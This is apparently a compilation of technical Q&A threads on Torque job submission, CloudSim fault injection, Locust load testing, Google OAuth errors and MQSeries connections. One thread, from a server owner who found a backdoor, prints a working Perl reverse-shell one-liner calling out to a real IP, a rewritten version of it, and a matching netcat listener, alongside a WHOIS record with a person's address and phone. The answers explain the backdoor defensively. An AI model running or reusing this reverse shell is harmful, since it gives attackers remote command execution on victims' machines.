I try to execute this example script (https://oss.trac.surfsara.nl/pbs_python/wiki/TorqueUsage/Scripts/Submit)
#!/usr/bin/env python
import sys
sys.path.append('/usr/local/build_pbs/lib/python2.7/site-packages/pbs/')
import pbs
server_name = pbs.pbs_default()
c = pbs.pbs_connect(server_name)
attropl = pbs.new_attropl(4)
# Set the name of the job
#
attropl[0].name = pbs.ATTR_N
attropl[0].value = "test"
# Job is Rerunable
#
attropl[1].name = pbs.ATTR_r
attropl[1].value = 'y'
# Walltime
#
attropl[2].name = pbs.ATTR_l
attropl[2].resource = 'walltime'
attropl[2].value = '400'
# Nodes
#
attropl[3].name = pbs.ATTR_l
attropl[3].resource = 'nodes'
attropl[3].value = '1:ppn=4'
# A1.tsk is the job script filename
#
job_id = pbs.pbs_submit(c, attropl, "A1.tsk", 'batch', 'NULL')
e, e_txt = pbs.error()
if e:
print e,e_txt
print job_id
But shell shows error "15025 Queue already exists". With qsub job submits normally. I have one queue 'batch' on my server. Torque version - 4.2.7. Pbs_python version - 4.4.0.
What I should to do to start new job?
There are two things going on here. First there is an error in pbs_python that maps the 15025 error code to "Queue already exists". Looking at the source of torque we see that 15025 actually maps to the error "Bad UID for job execution", this means that on the torque server, the daemon cannot determine if the user you are submitting as is allowed to run jobs. This could be because of several things:
The user you are submitting as doesn't exist on the machine running pbs_server
The host you are submitting from is not in the "submit_hosts" parameter of the pbs_server.
Solution For 1
The remedy for this depends on how you authenticate users across systems, you could use /etc/hosts.equiv to specify users/hosts allowed to submit, this file would need to be distributed to all the torque nodes as well as the torque server machine. Using hosts.equiv is pretty insecure, I haven't actually used it in this. We use a central LDAP server to authenticate all users on the network and do not have this problem. You could also manually add the user to all the torque nodes and the torque server, taking care to make sure the UID is the same on all systems.
Solution For 2
If #1 is not your problem (which I doubt it is), you probably need to add the hostname of the machine you're submitting from to the "submit_hosts" parameter on the torque server. This can be accomplished with qmgr:
[root#torque_server ]# qmgr -c "set server submit_hosts += hostname.example.com"
The pbs python library that you are using was written for torque 2.4.x.
The internal api's for torque were largely rewritten in torque 4.0.x. The library will most likely need to be written for thew new API.
Currently the developers of torque do not test any external libraries. It is possible that they could break at any time.
Related
I want to implement job migration for the failed task in cloudsim.Is there any source code available available on gitHub etc?
CloudSim does not implement Cloudlet migration or fault injection.
But if you want to use a modern, full-featured, state-of-the-art and easier-to-use fork of CloudSim, try CloudSim Plus. It has a fault-injection module that doesn't migrate Cloudlets, but when a VM fails due to a failure on its Hosts, a clone of that VM is created from a snapshot and the Cloudlets restarted.
To inject the failures and enable VM clones to be created, you can execute the following code:
long seed = System.currentTimeMillis();
//Creates a random number generator following the Poisson distribution
//MEAN_FAILURE_NUMBER_PER_HOUR is a constant you have to create
//to define the mean number of Host failures per hour.
ContinuousDistribution poisson = new PoissonDistr(MEAN_FAILURE_NUMBER_PER_HOUR, seed);
//The object that will inject random failures into Host's PEs.
HostFaultInjection fault = new HostFaultInjection(datacenter0, poisson);
fault.setMaxTimeToFailInHours(800);
//Defines a cloner function (cloneVm method) that will be called
//when a VM from a given broker fails due to a Host failure.
//The call to addVmCloner also defines a method to clone the cloudlets
//running inside the failed VM.
fault.addVmCloner(broker, new VmClonerSimple(this::cloneVm, this::cloneCloudlets)));
To check and understand the complete example, follow this link and the faulinjection package documentation in CloudSim Plus.
My server got hacked, and ps aux shows that it's running this program now:
perl -MIO -e $p=fork;exit,if($p);$c=new IO::Socket::INET (PeerAddr,"169.50.9.58:1212");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;
I don't know Perl...what is this program doing?
It opens a socket to that IP. Then it sets up the STDIN to read from it and the STDOUT to go to it. So it builds a direct communication channel between the process and that IP.
Then it goes into a while loop in which it runs via system whatever comes through STDIN.
It does this in a forked process, fire-and-forget (detached) style, where the parent exits right away. So this executes and exits and there is another process that talks with that IP and runs commands.
Short answer:
system$_ while<>;
basically means "as long as there is input, execute the commands you get."
If I run nc -l -p 1212 on my machine, and then you run this script on your machine, then you open a connection to me where I can issue commands that your machine will run.
That Perl code is equivalent to this
You have already been told what it does; it's clearly malicious
use IO;
$p = fork;
exit, if ( $p );
$c = IO::Socket::INET->new( PeerAddr => "169.50.9.58:1212" );
STDIN->fdopen( $c, 'r' );
$~->fdopen( $c, 'w' );
system $_ while <>;
Here's the result of querying whois.com for that IP address. You may want to send an email to the "abuse" address
% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf
% Note: this output has been filtered.
% To receive output for a database update, use the "-B" flag.
% Information related to '169.50.9.32 - 169.50.9.63'
% Abuse contact for '169.50.9.32 - 169.50.9.63' is 'email#softlayer.com'
inetnum: 169.50.9.32 - 169.50.9.63
netname: NETBLK-SOFTLAYER-RIPE-CUST-JS17702-RIPE
descr: VidScale, Inc
country: US
admin-c: JS17702-RIPE
tech-c: JS17702-RIPE
status: LEGACY
mnt-by: MAINT-SOFTLAYER-RIPE
created: 2016-01-09T01:24:25Z
last-modified: 2016-01-09T01:24:25Z
source: RIPE
person: John Scharber
address: 4406 Whistling Wind Way
address: Placerville, CA 95667 US
phone: +1.866.398.7638
nic-hdl: JS17702-RIPE
abuse-mailbox: email#vidscale.com
mnt-by: MAINT-SOFTLAYER-RIPE
created: 2016-01-09T01:24:23Z
last-modified: 2016-01-09T01:24:23Z
source: RIPE
% This query was served by the RIPE Database Query Service version 1.88.1 (BLAARKOP)
The other answers already adequately answer how this back door works. Just to recap, it allows an unprivileged user access to the system without authenticating. You only need to know which port number to connect to in order to run arbitrary programs on the computer.
The reason this is "nefarious" is that it bypasses authentication. If it required you to log in with a valid user name and password, it would not be much different from a basic telnet server. (Granted, those are bad too; in today's world you would absolutely require encrypted authenticated access, i.e. ssh or similar.)
A user who already has legitimate login access to your system has no need to run a program like this. They already have ssh access or similar.
The reason intruders install such programs is often that it allows them to pivot from a simple vulnerability (like a simple "Bobby Tables" SQL injection) which only allows them to run a single command. Now they have interactive access and can conveniently run many commands without using (and potentially exposing) the original exploit again; from here, they can probably figure out a way to pivot further on to a privileged account (i.e. root), or initiate lateral movement to other systems within your perimeter.
Is it possible to integrate a headless browser with locust? I need my load tests to process client side script that triggers additional requests on each page load.
That's an old question, but I came across it now, and found a solution in "realbrowserlocusts" (https://github.com/nickboucart/realbrowserlocusts) - it adds "Real Browser support for Locust.io load testing" using selenium.
If you use one of its classes (FirefoxLocust, ChromeLocust, PhantomJSLocust) instead of HttpLocust for your locust user class
class WebsiteUser(HeadlessChromeLocust):
then in your TaskSet self.client becomes an instance of selenium WebDriver.
One drawback for me was that webdriver (unlike built-in client in HttpLocust) doesn't know about "host", which forces to use absolute URLs in TaskSet instead of relative ones, and it's really convenient to use relative URLs when working with different environments (local, dev, staging, prod, etc.).
But there is an easy fix for this: to inherit from one of realbrowserlocusts' locusts and pass "host" to WebDriver instance:
from locust import TaskSet, task, between
from realbrowserlocusts import HeadlessChromeLocust
class UserBehaviour(TaskSet):
#task(1)
def some_action(self):
# self.client is selenium WebDriver instance
self.client.get(self.client.base_host + "/relative/url")
# and then for inst. using selenium methods:
self.client.find_element_by_name("form-name").send_keys("your text")
# etc.
class ChromeLocustWithHost(HeadlessChromeLocust):
def __init__(self):
super(ChromeLocustWithHost, self).__init__()
self.client.base_host = self.host
class WebsiteUser(ChromeLocustWithHost):
screen_width = 1200
screen_height = 1200
task_set = UserBehaviour
wait_time = between(5, 9)
============
UPDATE from September 5, 2020:
I posted this solution in March 2020, when locust was on major version 0. Since then, in May 2020, they released version 1.0.0 in which some backward incompatible changes were made (one of which - renaming StopLocust to StopUser). realbrowserlocusts was not updated for a while, and is not updated yet to work with locust >=1.
There is a workaround though. When locust v1.0.0 was release, previous versions were released under a new name - locustio with the last version 0.14.6, so if you install "locustio==0.14.6" (or "locustio<1"), then a solution with realbrowserlocusts still works (I checked just now). (see https://github.com/nickboucart/realbrowserlocusts/issues/13).
You have to limit a version of locustio, as it refuses to install without it:
pip install locustio
...
ERROR: Command errored out with exit status 1:
...
**** Locust package has moved from 'locustio' to 'locust'.
Please update your reference
(or pin your version to 0.14.6 if you dont want to update to 1.0)
In theory you could make a headless browser a Locust slave/worker. But the problem is that the browser is much more expensive in terms of CPU and memory which would make it difficult to scale.
That is why Locust uses small greenlets to simulate users since they much cheaper to construct and run.
I would recommend you to break down your page's requests and encode them as requests inside of Locust. The Network tab in Chrome's Dev Tools is probably a good start. I've also heard of people capturing these by going through a proxy that logs all requests for you.
You could use something like browserless to take care of the hosting of Chrome (https://browserless.io). Depending on how you brutal your load tests are there’s varying degrees of concurrency. Full disclaimer: I’m the maker of the browserless service
I think locust is not desinged for that purposes, it is for creating concurrent user to make http requests so I didnt see any integration with locust and browser. However you can simulate browser by sending extra information in the header with that way client side scripts will also work.
r = self.client.get("/orders", headers = {"Cookie": self.get_user_cookie(user[0]), 'User-Agent': self.user_agent})
The locust way of solving this is to add more requests to your test that mimic the requests that the javascript code will make.
I structure my locust tests to parse the JSON response from an early request in the app's workflow. I then randomly pick some interesting piece of data from that JSON, and then issue more requests that mimic what would happen in the browser if the user had clicked on that piece of data.
I am following this example
https://code.google.com/p/google-api-python-client/source/browse/samples/service_account/tasks.py
credentials = SignedJwtAssertionCredentials(
'141491975384#developer.gserviceaccount.com',
key,
scope='https://www.googleapis.com/auth/tasks')
http = httplib2.Http()
http = credentials.authorize(http)
service = build("tasks", "v1", http=http)
# List all the tasklists for the account.
lists = service.tasklists().list().execute(http=http)
pprint.pprint(lists)
The issue is , it works sometimes and i get the lists as JSON and after running program few more times i get error
File "/usr/local/lib/python2.7/site-packages/oauth2client/client.py", line 710, in _do_refresh_request
raise AccessTokenRefreshError(error_msg)
oauth2client.client.AccessTokenRefreshError: invalid_grant
I'm interface Google Drive but found the same error. In Issue 160 there is a report of setting the appropriate time on your local computer. Ever since I upgraded to Mac Mavericks I found that the I need to keep updating my system time. I was getting your reported error, set my system time back to current and I eliminated the error.
Are you running this code in a VM or sandboxed environment? If so, it could just be that your VM's clock isn't synchronised to your host machine. See a response to a similar question here.
I suffered the same (frustrating) problem and found that simply restarting my VM (ensuring the time was synchronised to the host machine (or at least set to the local timezone) fixed the problem.
Oauth service is highly dependent on the time, make sure your client uses NTP or another time syncing mechanism.
Test with curl -I https://docs.google.com/ ; date -u
You should see the same Date: (or whithin a few seconds) for this to work
I am trying to connect to my local queue by using cpan mqseries lib through perl script, in solaris environment.When i am executing my script it is giving Reson code as 2058.which means Queuemanager name error.
I have done following thing to analysis this issue,but still getting the reson code 2058.
1)Stop and started the queue manager.
2)checked the queuemanager name in my code.
3)sucessfully put and get the message in my queue by using amqget and amqput command,but it not working with my script.
Could anybody please help me in this,what kind of environment i have to set or any configuration setting i am missing.
my $qm_name = "MQTEST";
my $compCode = MQCC_WARNING;
my $Reason = MQRC_UNEXPECTED_ERROR;
my $Hconn = MQCONN($qm_name,
$compCode,
$Reason,
) || die "Unable to Connect to Queuemanager\n";
Maybe you are running to this issue?
"By default, the MQSeries module will try to dynamically determine
whether or not the localhost has any queue managers installed, and if
so, use the "server" API, otherwise, it will use the "client" API.
This will Do The Right Thing (tm) for most applications, unless you want to connect >directly to a remote queue manager from a host
which is running other queue managers locally. Since the existence of
locally installed queue managers will result in the use of the
"server" API, attempts to connect to the remote queue managers will
fail with a Reason Code of 2058."